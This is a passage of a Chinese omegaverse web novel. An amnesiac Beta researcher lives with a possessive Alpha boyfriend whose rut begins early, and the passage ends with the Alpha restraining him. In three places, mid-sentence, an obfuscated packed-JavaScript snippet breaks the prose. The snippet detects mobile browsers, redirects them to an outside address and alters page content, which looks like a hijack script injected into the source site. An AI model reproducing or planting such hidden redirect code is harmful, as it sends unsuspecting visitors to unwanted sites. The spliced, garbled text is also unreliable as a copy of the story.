巨屏之上,主角与爱侣已经烧完了野火,正亲昵相拥,品味着灼炽之后的惬意温馨。 效果震撼的杜比音响,也在全方位无死角地播放着此时两人深缓而暧.昧的喘.息。 昏色之中,黎白榆重新给自己倒好了水,慢吞吞地啜饮了一口。 那个念头也在他的脑海中越来越明晰。 ——他之前就怀疑,严野客可能不喜欢亲密接触。 现在看来,甚至可能包括这种亲密的影像……都会让Alpha不喜。 电影还在继续,黎白榆并没有唐突开口。 而身畔的男人在说过一声抱歉之后,也没有了其他动作。 直到播映结束,也没再发生其他意外。 时间不早,严野客直接帮黎白榆拿来了睡前要服用的药物,让他回房休息了。 黎白榆冲完澡喝了药,却没有立刻上床。 他抱着杯子,查阅了一些常识资料。 晚间的电影演的是一对同为男性的AB恋,主角们突破了世俗偏见、重重阻碍,最终走到了一起。 但现实和电影不同。 人们不只活在一段高.潮的戏码里。 ——还会有过渡、起伏、平静,甚至漫长到寡淡的以后。 影片中的主角Alpha信息素浓度高,可以当场暴起,隔空压制其他反对自己的Alpha,护住自己的Beta恋人。 但黎白榆知道,稍微严谨一点的生理知识科普中都会讲。 Alpha的信息素浓度越高,欲望也会随之增高,两者会呈现显著的正向相关性。 而这样的Alpha,需求愈强,反而会越发难以得到纾解。 他们的伴侣往往需要承担更重的任务量。 但Beta没有信息素,其实是很难为Alpha提供抚慰的——而推及自身,黎白榆的情况更为特殊。 他甚至连Alpha的信息素都感知不到。 两人的状态颇难匹配,对严野客这样强势、冷悍的Alpha,黎白榆更是难以将其安抚。 Beta忍不住挠了挠脸颊,差点给自己刚刚洗完的白皙面颊抓出两条红痕。 他还是觉得……自己和严野客的恋爱着实不算太契合。 或许,两人之前一直柏拉图? 这点倒是很有可能——黎白榆又想起今天,Alpha的表现似乎和自己一样。 都不太喜欢旁人的亲近。 可是Alpha这种性别,有一点却是特别不一样的。 ——那严野客的易感期要怎么过呢? 普遍来说,Alpha的易感期每两个月一次,持续时间大约一到五天。 越强势生猛的Alpha,易感期的天数也会越长。 黎白榆记得自己和严野客是三个月前在一起的,那他们至少也应该经历过一次易感期。 但对那次的事,黎白榆却至今都毫无记忆。 还是说…… Beta想着,漫不经心地将颈后垂落的软灿金发扎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14148760|150256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束在一起。 正是因为已经经历过了一次,所以Alpha才会不喜欢自己的碰触? *** 不知是不是巧合,第二天一早,黎白榆起床之后,就发现严野客不见了。 不过Alpha给他留了纸条,说要出去一趟,会尽快回来。 纸条就放在餐桌上,旁边还留好了一份仍在保温的早餐。 早餐是一盅晶莹剔透的虾饺,一碗黑米糊,还有一只圆胖胖的奶黄包。 黎白榆起得早,胃口也不是很足,但那碗黑米糊又香又绵密,喝一口,满是浓浓的米香。 让黎白榆不得不承认。 原来糊糊也是有口感差异之分的。 温热的米糊开了胃,咬一口还在流心的奶黄包内馅也甜得很适度,吃完一整只都没让黎白榆觉得腻。 不过黎白榆早上确实食量不大。 所以虽然严野客留的早餐本就不算多,但还是剩出了两只虾饺。 在Beta正思考要不要继续吃完的时候,他无意间向外一瞥,正好看到了旁边客厅的落地窗。 窗外天光已亮,绿植青翠。 让黎白榆又想起了常会光顾庭院的那只小白猫。 青年起身。收拾好餐桌,又找了一个纸托,想去把虾饺喂给小猫。 但等他走到落地窗边,撩起两侧的窗帘,才发现。 客厅的落地窗是整面一体的,光洁的玻璃完美内嵌,并没有留出可供通行的出入开关。 黎白榆于是转了方向,准备从屋门的方向走去庭院。 他昨天已经和严野客提起过了磁卡的事,Alpha说会给他留一张备用。这次黎白榆拉开玄关的抽屉,果然看到了放在里面的磁卡。 但当黎白榆拿着磁卡去刷智能锁时,却只看见屏幕突兀地闪了一下红灯,然后就没了动静。 门锁并没有被打开。 黎白榆尝试着转了转把手,房门纹丝不动。 他又试着用磁卡刷了几次,可是不知出了什么问题,锁一直没有开启。 十分钟后,Beta终于还是选择了放弃。 看来这回确实是出不去了。 黎白榆有些迟疑,他想过要不要给Alpha打电话问问,又觉得对方出去可能有事,不好被这些琐碎小事打扰。 而且严野客应该不久就回来,黎白榆今天也没有必须要出门的行程,就准备先等一等。 不过这一等,就等到了中午。 严野客回来时,都已经临近十二点了。 听到开门动静的黎白榆朝门边望去,他还在担心智能锁会不会没反应,就听“滴”的一声轻响,屋门被利落地推开。 门锁并没有出问题。 那看来清晨是磁卡失效了? 黎白榆想着,走过去,却见进门的Alpha望见他,动作微微一顿。 “怎么了?”黎白榆不由好奇。 Alpha却像是没明白他的问题:“什么?” 男人走进来,神色肃冷如常,全无异状,让黎白榆只以为是自己看错了。 黎白榆便摇了摇头,转而问道:“你去哪里了?” 严野客的语气也很沉稳寻常。 “去买菜了。” 买菜要这么久吗? 黎白榆有些纳闷。 而且他记得之前说过,菜摊是可以送货的。 也恰是这时,Alpha转身,从身后拎出了两个竹笼。 竹笼里扑扑簌簌,似乎还有活物的动静。 黎白榆好奇地望过去,就听严野客说。 “开车三个多小时去了乡下农庄,抓了两只养得最好的走地鸡。” 男人口吻平静依旧,仿佛这根本只是寻常小事,不被问起都不会主动说。 “正好等你明天复查完,斩新鲜的鸡吃。” “……” 黎白榆怔了两秒,他愣愣地看了看即使在夏日依旧衣着周正的俊冷Alpha,又看了看还沾着零星羽绒和新鲜泥土的竹编鸡笼。 “那往返总共……六个多小时吗?” “嗯。” 黎白榆少有地神情外显,面露震撼。 他就被狠狠地说服了。 ——不愧是地道老广! 吃就一定要吃最好的靓鸡。 竹笼接着又被Alpha拿了出去,两只走地鸡被放在了庭院中圈出的一小块围栏里。 那两只鸡经过这么久的车路折腾,放出来时依旧生龙活虎,头冠毛发鲜艳锃亮。 看起来确实被养得很好。 黎白榆坐在落地窗边,正好能看到鸡所在的围栏。 他确实只吃过鸡肉,没见过鸡跑,就很新奇地看了好一会儿。 而安置好走地鸡的严野客回到室内,先去自己房间换了身衣服。 桌上的手机震了两声,男人抬眸,看了眼房门关好无误,才伸手解锁了屏幕。 才看了一眼,严野客本就肃冷的神色明显沉了下来。 消息是私人医生发来的,上午数个小时的加急检查已经出了结果。 最上面的第一句话就是—— 【检查者有明显的易感期征兆,或于未来两周内的任意一天进入易感期。】 开什么玩笑? 严野客皱眉。 他的易感期才刚刚过去半个月。 那情热灼烈的整整一周时间里,Alpha每天都是抱着黎白榆度过的。 怎么可能这么快—— 转眼又出现了易感期的征兆? 13. 第 13 章 013 严野客原本一点都不信,但是他想到自己方才刚回家进门,看到黎白榆时的瞬间反应。 又不由当真开始考虑起了易感期提前的可能性。 那时严野客的确滞顿了一刹那,因为他没想到会一开门就会这样近地看到黎白榆。 近到好像一抬手。 就能压困住面前的Beta。 以至于严野客不得不克制了一瞬,才没有更进一步妄动。 ——不过,真要说起来也不一定。 因为严野客很清楚。 就算没易感期,他对黎白榆同样会是这种反应。 Alpha面无表情地将屏幕信息划动翻阅着。虽说他的易感期上次就有明显提前,但上次毕竟情况特殊。 那是他第一次抱到黎白榆。 现在两人已经平和相处了数日之久,严野客的情况也渐趋稳定。 再发生易感期时间紊乱的可能性已经不大了。 严野客理性地做出了自己的推定,他扫过一眼屏幕,医生那边的信息还在接连发过来。 Alpha就没有回复,而是换下衣服,迅速去冲洗了一番。 确认自己的身上已经没有了医院检查时带出的消毒水味之后,严野客走出浴室,这时才一眼扫过了医生发来的全部信息。 他看消息的习惯也和接电话一样,不喜欢等人一条条发。 嫌效率太差。 看完信息,严野客依然神情无波。 他也没多说什么,只简短回复了几个字,便离开了卧室。 望看了一眼还安稳坐在窗边的Beta,严野客就走进了厨厅。 他去做饭了。 其实不怪陈家小少爷打来电话时那般瞠目惊讶——谁都知道,严大少这个人,是出了名的效率至上。 他还是个众所周知的高精力工作狂,高薪聘养的助理团队人数颇众,也不是因为严野客钱太多、烧着玩。 ——而是由于往往需要多位助理轮值换班,才可能配合得完这位顶头上司一个人的工作量。 可是现在,这位人尽皆知的工作狂,却站在厨桌旁,正慢条斯理地切着牛肉。 那块冷藏入味了一整夜的牛腱芯,甚至还是严野客自己亲手卤制的。 单是熬煮一道工序,就花了足足三个小时。 严野客的刀工也很绝。 他在厨艺方面可能确实有天赋。 但一个人的气质是很难轻易改变的,就像现在,即使Alpha系着围裙,带着□□手套,拿着斩切刀在片牛腱肉。 他看起来也不太像是那种平易可亲的精湛厨师。 反而更像是一位亲自剖解食材的吸血鬼。 高冷又矜贵。 卤好的牛腱芯被切得很薄,排码成整齐的堆片。 本就纹理漂亮的五花趾此时薄薄透光,肉片上的筋络分外诱人,完美得简直像是艺术品。 除了外观,同样出色的还有这顿午餐的口感。 因为回来时晚了些,严野客并没有做太复杂的菜色。他只下了碗手擀细面,把薄亮诱人的牛腱肉片铺了上去。 面汤也用了之前熬煮牛肉时的鲜汤,浸润其中的面条格外筋道,还加了薄切入味的白萝卜片。 面端上来,一人一碗。 还没动筷,桌对面的美丽青年就不由被浓郁的香味勾得吸了吸鼻尖。 Beta的神情依旧如平日的清冷内敛,但真正开始吃面时,只是看他眸底的光亮,也能教人清晰读出他这顿饭的满足感。 黎白榆的确吃得很幸福,他咬了一角清甜入味、已经入口即化的白萝卜片,惬意得眼睛都微微眯了起来。 再这么吃下去的话—— 青年轻声喟叹。 “舌头都要惯坏了……” 严野客却没急着动筷,好像他面前还有着更诱人的美餐。 闻言,男人俊冷的眉梢微抬,神色淡然。 “不好吗?” “唔?” Beta抬头。他刚刚只是自言自语,这时也只以为对方在问自己口感,于是便很认真答道。 “很好吃,面和肉都口感特别好。” 严野客看着人,这时才抬手捻了捻筷尖,指骨微痒似的摩挲了几下。 舌头养娇了更好。 Alpha漫不经心地想。 只能吃他一个人的味道。 桌对面的Beta并无所觉,又吃了两筷,才像是刚从美味中分出心来,轻声询问了一句。 “对了……你这两天体温低是怎么回事?是因为心情不太好吗?” 体温低? 严野客并无察觉,听人问他心情状况,也只说:“没有。” 不过刚说完,Alpha却直接抬手,去碰黎白榆的额头。 “你发烧了?” 严野客并没有觉得自己体温有异,听人这么问,下意识地就联想到是不是Beta生病了。 只是,才刚触到对方的前额,严野客的手反而僵停了一刹。 “没有,我早上量过体温,是正常的。” 黎白榆解释。 他没有避开Alpha的动作,严野客自己却不动声色,把手掌挪开了。 因为严野客发觉。 这种和黎白榆的真实肢体接触,影响居然比他预想中还要显著。 才只是轻轻的一下肌肤贴碰,却让Alpha生出了明显的青筋绷起、心率加速。 为什么? 严野客冷静地思忖着。 他怀疑是由于方才医生发来的信息提及,让自己回忆起了上次的易感期。 那次的经历太过彻骨,让Alpha食髓知味。 所以现在才会碰人一下都觉得难抑。 偏偏这时,另一位主角还当真开口问起了这件事。 “我冒昧想问一下,你的易感期大概是什么时候?” “如果不方便讲的话——” 黎白榆还没说完,严野客已经开口回答了他。 “还有很久。” 青年眨了眨长睫,轻声问。 “那到时会怎么度过?” 严野客盯着他。 桌边的青年近在咫尺,让人很轻易会联想出上次易感期的经历。 Beta蜷靠在他的怀里,唇廓柔软,肌肤皙白,温静得好似童话中沉眠的睡美人。 脆弱亦是,纤薄得仿佛无意一碰都会留下印痕。 那样惹人怜惜……又勾诱出过分幽深的不满足。 于是顺理成章—— 攫掠更凶,无可止休。 Alpha喉结缓缓一滚,低而无声地吸了口气,语调依旧很平稳。 甚至于他的回答都有着一分寡淡的无趣。 “打抑制剂。” 面前人听得似乎有些讶异。 “不需要信息素抚慰吗?” 像是怕他误会,黎白榆还附加解释:“我没有其他意思,就是想问问你之前是怎么度过的,毕竟成年也很久了……” “不用。” 严野客说得却愈发果决且平静。 “我没有谈过恋爱,也没有使用过他人的信息素。” 相比起Beta的委婉,严野客答得却十足直白坦然。 “成年后每两月一次的易感期,我都靠注射抑制剂。” Alpha说着,还拿出了自己的手机。 他调出了一个页面,将其中的加密显示用面容锁解除,旋即就把手机调转,长指按在屏幕,推到了对面黎白榆的眼前。 “这是我的注射记录。” 黎白榆更明显地怔了一瞬。 他知道AO每个人都会有自己的注射档案,但凡记录都会很详实。并且正规的抑制剂每支都有生产编码,不可能造假。 而抑制剂由官方发行,有政府补贴,不正规的灰色生产无利可图,渐渐也就少有踪影。 但这并不意味着每个Alpha和Omega都会即时记录,甚至其中大部分都不会启用档案。 有的人是不用抑制剂,有的人是用了也不记——懒,或者觉得这种记录触及隐私。 尤其Alpha更多如此。 他们生性肆意强势,不喜欢被管束、被压抑。 所以黎白榆完全没想到严野客会长期启用档案。 更没想到男人会这样坦率地拿给他看。 严野客的注射记录一如他自己所言,每两月一次,频率非常稳定。 最近一次的注射记录是一个月之前,那他下次的易感期就至少还有一个月的时间。 看来,男人确实没有什么问题。 黎白榆又排除了易感期的可能性,那现在对方体温低的理由就属实只剩下了一个。 ——严野客真的不喜欢肢体接触。 而等黎白榆将手机归还对方时,抬手接过去的严野客还淡淡说了一句。 “Alpha也没那么容易受易感期的影响。” 黎白榆点点头,表示同意。 他心想,看来自己的Alpha男朋友确实是性冷淡。 除了察觉严野客不喜欢肢体接触,黎白榆刚刚还看见,Alpha每一轮的抑制剂注射,都会有连续的三针。 抑制剂的长串编码中包含分类编号,所以黎白榆能认出,严野客注射的正是最长效也最昂贵的那一类型。 这种长效抑制剂的药效至少能维持四十八小时以上,严野客每轮要注射三针,就说明他的易感期基本在六天以上。 易感期的时间长,代表着Alpha的生理欲.望更强——这是常识,也正好和男人表现出的信息素浓度高对应上。 但严野客宁肯打三针抑制剂,也不愿意找人纾解或放任失控。 因此,黎白榆才更能确认对方性冷淡这件事。 挺好的。 Beta想。 那说明在这件事上,他和男朋友挺契合,很相似。 *** 结束了午餐,黎白榆又去休息了一会儿。 他原本做实验时并没有午休的习惯,不过这段时间再养伤,再加上午餐吃得太好,就有点容易晕碳。 为了避免再发生把Alpha的手臂当成冰丝抱枕的乌龙,黎白榆也没有再去落地窗边,而是回了自己的房间。 他躺下休息,顺便看了一眼自己的列表消息。 微信和邮箱里依然不时有人找他,询问一些实验或科研相关。 黎白榆和其他人当面交谈时话不多,对这些询问却不会少言缄默,能解答的基本都会帮忙解答一下。 消息回得差不多,他还收到了衣明诀发来的一个语音邀请。 衣明诀已经提前问过他忙不忙,这时要聊的也是实验相关。 左右黎白榆此时无事,便直接接了语音和他细聊。 两个人的研究原本并不算同一领域,但恰巧在上次的联合课题之后,衣明诀也开始涉及类器官模拟相关的实验。 而黎白榆的大导师深耕多年,从事的正是类器官构建与肿瘤疾病研究。 他的诺贝尔生物和医学奖的获奖领域也是这一方向。 自然的,在类器官培养的实验方面,黎白榆能指点和帮忙解答的东西就很多了。 衣明诀才刚通宵完,一开始打电话时嗓子都是哑的,人也像魂出了窍在飘。 结果听了黎白榆的讲解,衣明诀还真把之前两眼一抹黑的传代方法给听懂了,原本一团糟的思路也理顺了大半。 他整个人反而聊得精神了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14148761|150256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等到全部听完,衣明诀甚至直接抽噎了一声。 “黎天神,这种再造之恩,我要怎么报答你?”他泪眼汪汪地问,“你之前查男友的事还需要吗?我现在立马就可以去!” 不过紧接着,衣明诀就觉得这种事太不够诚意,大手一挥直接道。 “或者我再帮你介绍个新男友吧?男朋友这种事不嫌多,正好一A一O制!” 黎白榆的关注点一向比常人清奇,这时居然也听懂了对方说的什么意思。 不是指一个Alpha要配一个Omega,而更像是另一种意味的“一夫一妻制”。 ——让黎白榆有一个老公的同时,再谈一个老婆。 “你忙完还是早点去补觉吧。” 黎白榆失笑,也劝道。 他知道对方通宵试验确实累狠了,这都开始说胡话了。 衣明诀反而没忙着挂电话 他还道:“我说真的嗷,有什么事一定找我,不然我真的没法还你的恩情了。” 黎白榆并未放在心上:“举手之劳,不用这么想。” 衣明诀又叹了口气:“要不怎么说你把咱们和隔壁实验室都迷得七荤八素呢?这就是天神的魅力。” 他还夸张地用英文念了两个希伯来语中的专有词汇:“庇护!圣光!” 抓马完,衣明诀嗓子又有点哑了,这时才不得已恢复了正常语调。 他还念叨。 “你这次休假时间久,大家都好想你,实验楼里每月一次票选的‘最想约会的phd人选’都要空缺了。” ? 黎白榆有点疑惑。 这又是什么奇怪的票选。 “怎么会是我,”他并没有把话放在心上,“我只是个Beta。” 即使失忆了,黎白榆也没忘记社会常识。 无论在哪儿,都是数量更少的Omega或者Alpha更为抢眼才对。 衣明诀却道:“这和性别没有关系。” “你的美是超越了性别的,根源其实是你的性格和能力,”他说,“这就是科研和学术里最强大、稳定的,绝对的理性魅力。” 黎白榆捏了捏自己的鼻尖,有点失笑。 “这是想靠尬夸我来表达感谢吗?” “我说的是真心的!”衣明诀小小声嘀咕了一句。 但他同样知道,黎白榆对旁人的迷恋毫无兴趣这件事,也是真的。 从这点而言,黎白榆的性别绝不是他的缺陷——虽然衣明诀自己就是数量只占10%的Omega,但他从没对身为Beta黎白榆这样想过。 正相反,黎白榆反而发挥出了Beta这个性别的最迷人的优势。 对所有的倾欢示爱,他都只如过耳之风。 ——性感到要命的无动于衷。 这样一来,衣明诀对黎白榆那位素未谋面的男友,不禁就更为好奇了。 不过他虽然喜欢听八卦,但从不会乱讲。尤其衣明诀知道黎白榆的性格,更不会对着人执意打探。 于是此时,他也只说。 “但你真的对ABO都一视同仁地毫无反应哎,白榆,最近天天问你什么时候回来的那个芬兰Omega,上次都对着你孔雀开屏了,你都没有意识到。” 黎白榆顺势回忆了一下。 “那个信息素气味是孔雀的Omega?” “?” 衣明诀愣了一下。 “不是啊,他是黑百合。孔雀味的是沙特阿拉伯那个Alpha。” “你还是这么容易把信息素味道记混,简直跟完全感知不到似的。” 说着说着,衣明诀还随口问了一句。 “你不会真的是传说中的信息素失嗅群体吧?” 黎白榆沉默了一瞬。 突然的安静让衣明诀忽然意识到了什么,他张大了嘴:“……真的假的?” “嗯。” 黎白榆承认了。 以他的性格,自然不会宣扬这种个人私事。 但既然被朋友问了,也没必要撒谎。 衣明诀倒吸了一口凉气:“怪不得,我早就这么猜了!” 可紧接着,他反而劝黎白榆说:“对了,这事你还是别公开了,我也会替你保密的。” 黎白榆有些不明所以:“怎么了?” 这也并非是什么影响科研的重大缺陷。 衣明诀却有着更重要的关注点:“因为容易招惹变态!” Omega说得言之凿凿,非常笃定。 “你知道我就是主攻精神病理学方向的,极端病例见得多了。而且隔壁C座今年也在做信息素失嗅群体的研究,联合课题里已经有充分的数据表明,这一群体非常容易招惹到偏执狂。” “C座?” 黎白榆想,如果他没记错的话…… “那不是社科学院吗?” “对呀,这其实主要就是一个社科论题。在生科领域,相关性反而没那么紧密。” 衣明诀说。 “这不更说明了信息素失嗅患者在生理上没问题,但在心理上却很容易让人疯狂。” 他还叮嘱黎白榆:“你千万要留心,当心身边那些有控制欲和占有欲过强的人。” 黎白榆失笑:“应该不会吧。” 在Omega的好意劝慰下,黎白榆最终还是应下了。 不过在他心里,却依然没觉得会有这种可能。 黎白榆只觉自己本就比较沉闷无趣,更没什么概率会招惹过多的注意。 像自己这种人,哪怕谈恋爱也只会很平淡。 他与那些炽烈或浓郁的爱恨情仇都毫无关联。 ——就像现在,黎白榆意外谈了个高浓度信息素的Alpha男友,对方也还是性冷淡。 14. 第 14 章 014 第二天,黎白榆又去了一趟医院复查。 这回是提前约好的时间,没有差错。严野客也陪他一起去了。 黎白榆恢复的情况很不错,炎症减轻,指标回升,上次着重检查过的色素痣也没有问题。 因为养护得好,他身上的擦伤基本都痊愈了,只剩下右手的缝合伤还要等下周。 而在记忆方面,黎白榆的回忆也在循着学业思路慢慢复苏。 这个进度其实比原本预想中都要顺利一些,麻医生还专程把他这个临床案例记录了下来,说以后可能会对其他相同境遇的病人有启发作用。 当然也可能没太大用——毕竟,像眼前这样的天才总共也没几个。 和黎白榆聊过这几次之后,麻医生还明显对他表露出了一种松口气似的“幸好”。 “这么厉害的大脑要是真受到了什么不可逆的损伤,就真的太可惜了。” 他说。 “这可不是你一个人的损失。” 而也是因为Beta的卓秀聪颖,和他顺利的恢复进程,麻医生还额外给出了一些提醒。 “你多接触熟悉的领域是很正确的。这种愉悦的收获和可控感,对你的大脑和心理都会有好处。” “相应的,你最好也要提防一下不好的记忆点,尽量规避那些会让你不安的事情。” 黎白榆问:“不安?” “你的潜意识还是很敏锐的,可以利用下这一点。”麻医生道。 他听黎白榆说起过,会凭违和感来做一些辨别。 “因为你的失忆涉及情感丧失,大部分涉及这一方面的病人,在失忆前可能都遇到过一些不太好的事,导致他们倾向于遗忘,大脑在本能地保护自己。” 黎白榆虽然是外伤导致的失忆,但他昏迷前也可能遇到过一些其他的事。 “目前看来,你的恢复情况和情绪现状都没什么问题。” 病人也没有执意于一定要回想起什么。 “在这种情况下,规避一些让你不安的事,是有好处的,也可以避免诱生出多余的阴影。” 黎白榆点点头:“好。” 虽然他暂时还没遇到医生说的情况,但防范一下也好。 两人的沟通还是和之前一样,很顺利。讲完之后,麻医生反而朝陪着黎白榆一起来的Alpha看了一眼。 方才提到“阴影”时,他明显感觉到严野客的信息素有了一瞬的波动。 但只是极短的一刹那,男人就恢复了寻常。 如果不是因为麻医生也是Alpha,还见多了紊乱失控的Alpha病人,或许也很难察觉得到。 就像现在,麻医生看过去时,严野客仍是一贯的冷峻沉默。 让人很容易觉得,刚刚只是错觉。 也让人更难去联想——Alpha是不是真的和男友的“阴影”或“不安”有关。 而等之后黎白榆去做雾化,麻医生旁敲侧击地问了下严野客,Alpha果然也没有表现出任何异样。 就连这次黎白榆身上还带着的信息素气味,严野客也只说是因为男友刚出院,自己陪他的时间比较长。 因为Beta今天身上的味道已经没有上次那么冲,更没有超出医院的规定范畴,麻医生也不好多说什么。 他只在黎白榆回来之后,又单独提醒了一下对方,让Beta小心恢复,才让病人和家属离开了。 从医院回来,黎白榆把最后两袋液体补剂找了出来,今天就没再吃别的。 虽然一天两顿补剂着实有点苦涩,不过好在之后他都可以正常吃饭了。 因为复查显示黎白榆还有些贫血,缺铁比较严重,麻医生又给他开了新药。 晚上黎白榆照例吃药早睡,但不知是不是新药不太适应,他吃完就有点不舒服。 翻来覆去好不容易睡着,Beta也没有睡沉。 迷迷糊糊醒来,他看了眼时间,居然还没到零点。 喉腔有些干涩,黎白榆起来,去客厅给自己倒了杯水。 他动作很轻,开门和倒水都没怎么发出动静。 但水还没接完,书房的门就被打开了。 “不舒服?”严野客走了出来。 黎白榆怔了下,摇头:“有点口渴。” 他轻声问:“吵到你了吗?” 严野客看他一眼,抬指碰了一下黎白榆手中的杯壁。 收回手后,Alpha才淡淡道。 “刚忙完,正要睡。” 黎白榆原本没明白他的动作,见男人又随手把饮水机的水温调高了两度,才反应过来。 严野客是在确认他有没有喝冷水。 这时水也接好了,黎白榆想了想,说:“那你早点休息。” “嗯。” 男人漫应了一声。 但等黎白榆回房时,严野客却跟了过来。 “新药有副作用,我陪你休息一晚,观察下情况。” 没等青年发问,Alpha就开了口。 他居然是准备和黎白榆一起睡。 黎白榆有些迟疑,下意识地朝床铺看了一眼。 好像在确认床够不够大,有没有可能劈开成两张来睡。 “怎么了?”严野客没看出来似的问。 “我怕……”黎白榆老老实实地坦白,“怕睡着后再抱住你的手,让你不舒服。” 他倒不是多么排斥和对方一起睡,只是对现在睡着后的自己有点没信心。 严野客却说:“不会。” “我睡觉没那么容易受影响。” “不用在意这些,”他还道:“你现在也不适合思虑太多。” 既是如此,黎白榆也没再多说。 毕竟这里是人家的房间,严野客不管睡在哪儿都很合理。 不过,虽然黎白榆自觉不算排斥,但在看到男人抱来一床新的夏日真丝被之后,黎白榆还是下意识地松了口气。 分两个被子睡,自己睡着后再乱动的可能性就不大了吧? 这样想着,黎白榆后半夜的睡眠却意外地安稳。 比起辗转浅眠的前半夜,他这次一觉直接睡到了天亮。 简直像是身边睡了颗安眠药。 清晨,黎白榆醒来,发现身边已经没人,自己也没做什么出格的动作,安稳地睡在昨晚的半边床铺。 他这时才松了口气。 只是等起床的时候,Beta意外发现,自己的睡衣纽扣好像少系了一枚。 不是从上面少的,而是在中间的几枚扣子中,不知何时空开了一颗。 明明昨晚睡前,他还记得自己衣扣都系得好好的。 黎白榆扒拉开睡衣衣襟看了看,发现内外都没什么异样,扣子也好好的,没有掉。 可能是睡觉时不小心弄开了吧。 他也没有多想。 黎白榆起床去洗漱,今天似乎有雨,外面的天光阴沉沉的,映得室内颇有些昏暗。 似乎是没拉窗帘,客厅内的光线更为暗淡,黎白榆从客卧出来,习惯性地问了一句。 “你在客厅吗?” 上次见过没戴隐形的严野客之后,黎白榆清早开灯前都会问一声。 怕再伤到Alpha的眼睛。 不过前几天问时,严野客都不在客厅,黎白榆也习惯了没人回答。 但今天,他还没在暗淡光线下看清四周,就听到不远处响起了一道微哑的低声。 “开吧。” 黎白榆有些意外。 他伸手按开室内灯,明亮的光线之下,就见严野客正站在橱柜边。 男人的银丝眼镜好端端地带在英挺的鼻骨上,瞳眸也是沉稳的墨色。 并没有浮显出腥红。 那怎么没开灯,就摸黑站在客厅? 黎白榆不由问道:“不舒服吗?” 严野客没有回答,只默然看着他。 Alpha此时用的,又是上次黎白榆从浴室里出来,只穿了上衣时看他的那种眼神。 其间的审视与漠寒,真的很像大老板盯失误学生的视线。 让黎白榆下意识地开始反省,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14148762|150256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己是不是哪点没有做好。 难道自己昨天……还是打扰到对方的休息了? 男人一直没有说话,黎白榆还在回想,却见Alpha举步走了过来。 两人距离近了,黎白榆这时才发觉,严野客的颈间和手背上都有着清晰的青筋浮显。 他穿的衣服是长袖,看不到其他部位,可是Alpha从身侧经过时,黎白榆却明确地感知到了对方身上的低温。 冷得堪堪吓人。 ……他是不是真的生病了? 黎白榆刚想开口,却见一言未发的严野客擦过自己身侧,径直走进了卧室。 他不由怔了一瞬。 因为严野客进的是客卧——这几天都是黎白榆在睡的那个房间。 黎白榆这下更确认对方不太对劲,他担心地想要跟过去,却无意间瞥见了橱柜前的桌子上多出的一个东西。 是方才对方开灯前拿出来的吗? 看清那个东西后,黎白榆这次更明显地怔了一下,因为他很清楚那是什么—— 那居然是一瓶注射用的抑制剂。 ……Alpha的易感期真的提前了? 黎白榆蹙了蹙眉,刚想上前去细看,却忽然被身后传来的冰冷力度死死钳箍住。 “唔……!” 黎白榆吃痛,整个人失重地向前一栽,又被迫向后拉去,撞上了一道坚冷的冰凉。 “严、咳……!” 他的话根本没能成句,就被生生撞散。 黎白榆的双腕直接被反剪在了身后,本就一眼可见的力量差距,在Beta失去了双手的自由之后更没了悬念。 室外忽然炸开了一声闷重的滚雷,阴沉了许久的天幕终于开始落雨。 而在如此低重的声响中,偏偏还有一道细微的鸣响夹杂其中。 “滴,滴——” 黎白榆听出了那是室内温度计的预警音。 提醒此时,此处的信息素含量过于高浓。 毫无疑问,严野客真的突然进入了易感期。 而黎白榆已经被他直接锁困。 黎白榆不知道Alpha的神智还剩下多少,他尝试叫人,却完全没有得到回音。 他还没有放弃脱身,混乱间,两人似乎碰到了客卧的房门,门板重重撞在墙上,发出“砰”的一声闷响。 腕间的力度似乎因此松了一刹那,黎白榆刚想把手抽回来,还在试图对男人进行安抚。 “等一……” 可是那只手却根本不是要将他放开,反而就着握锁住Beta双腕的力度,压按住了他的背部。 男人沉默得可怕,一言未发,另一只手直接托在了黎白榆的大腿后侧,轻易就将他整个人悬空抱了起来。 铺天的压迫感伴着霜寒的冷意,更让人难以挣拒。近乎恐怖的体力悬殊差异之下,黎白榆的任何一种尝试都没能成行。 他甚至生出了一种恍惚错觉。 仿佛自己只是一张薄薄白纸,严野客可以把他随意地折叠摆弄。 冰冷的白光倏地将天地映亮,骤然的闪电划破了沉寂的昏暗。 电闪亮起的一刹那,抬抱的姿势还让黎白榆看到了Alpha的脸。 Beta的视线甚至被那过于鲜明的浓色蛰了一下。 寒调的冷光中,他看到了严野客的眼睛—— 看到了那连墨黑瞳片都无法遮住的腥红。 赤烈的殷浓和凌厉的森冷,如此矛盾而慑人地翻涌在同一双眼眸之中。 让黎白榆的心底难以抑制地涌生出了一抹不安。 他怔然地,还未在冰冷的压慑下开口,下一秒,双脚却忽然踩到了实感。 